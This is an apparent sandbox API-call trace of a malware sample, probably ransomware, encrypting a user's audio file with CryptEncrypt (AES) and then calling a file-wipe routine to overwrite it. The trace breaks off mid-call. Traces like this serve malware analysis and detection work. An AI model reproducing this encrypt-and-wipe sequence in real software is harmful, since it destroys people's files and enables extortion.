[0026.607] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.608] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\-e7zHxg.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\-e7zhxg.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.609] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.609] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.609] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.611] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.611] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x4475, lpOverlapped=0x0) returned 1 [0026.611] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.613] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.613] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.613] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.613] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.613] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.613] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064be0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064be0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.613] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.614] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.614] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.614] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.614] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.615] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.615] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.616] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.616] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.616] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.616] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4475, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4480) returned 1 [0026.617] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.617] CharLowerBuffW (in: lpsz="byte[17537]", cchLength=0xb | out: lpsz="byte[17537]") returned 0xb [0026.618] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.619] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ab60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0026.619] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0026.619] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437e4b0*, pdwDataLen=0xe8f3dfdf68*=0x4475, dwBufLen=0x4480 | out: pbData=0xe8f437e4b0*, pdwDataLen=0xe8f3dfdf68*=0x4480) returned 1 [0026.620] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.621] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.621] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.621] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.621] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.621] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.621] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.621] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.621] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.622] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.622] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.622] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.622] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.622] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.622] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.622] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.624] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.625] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] CharLowerBuffW (in: lpsz="byte[17525]", cchLength=0xb | out: lpsz="byte[17525]") returned 0xb [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.625] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.625] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.626] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.626] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.626] PeekMessageW (in: lpMsg=0xe8f3dfeb20, 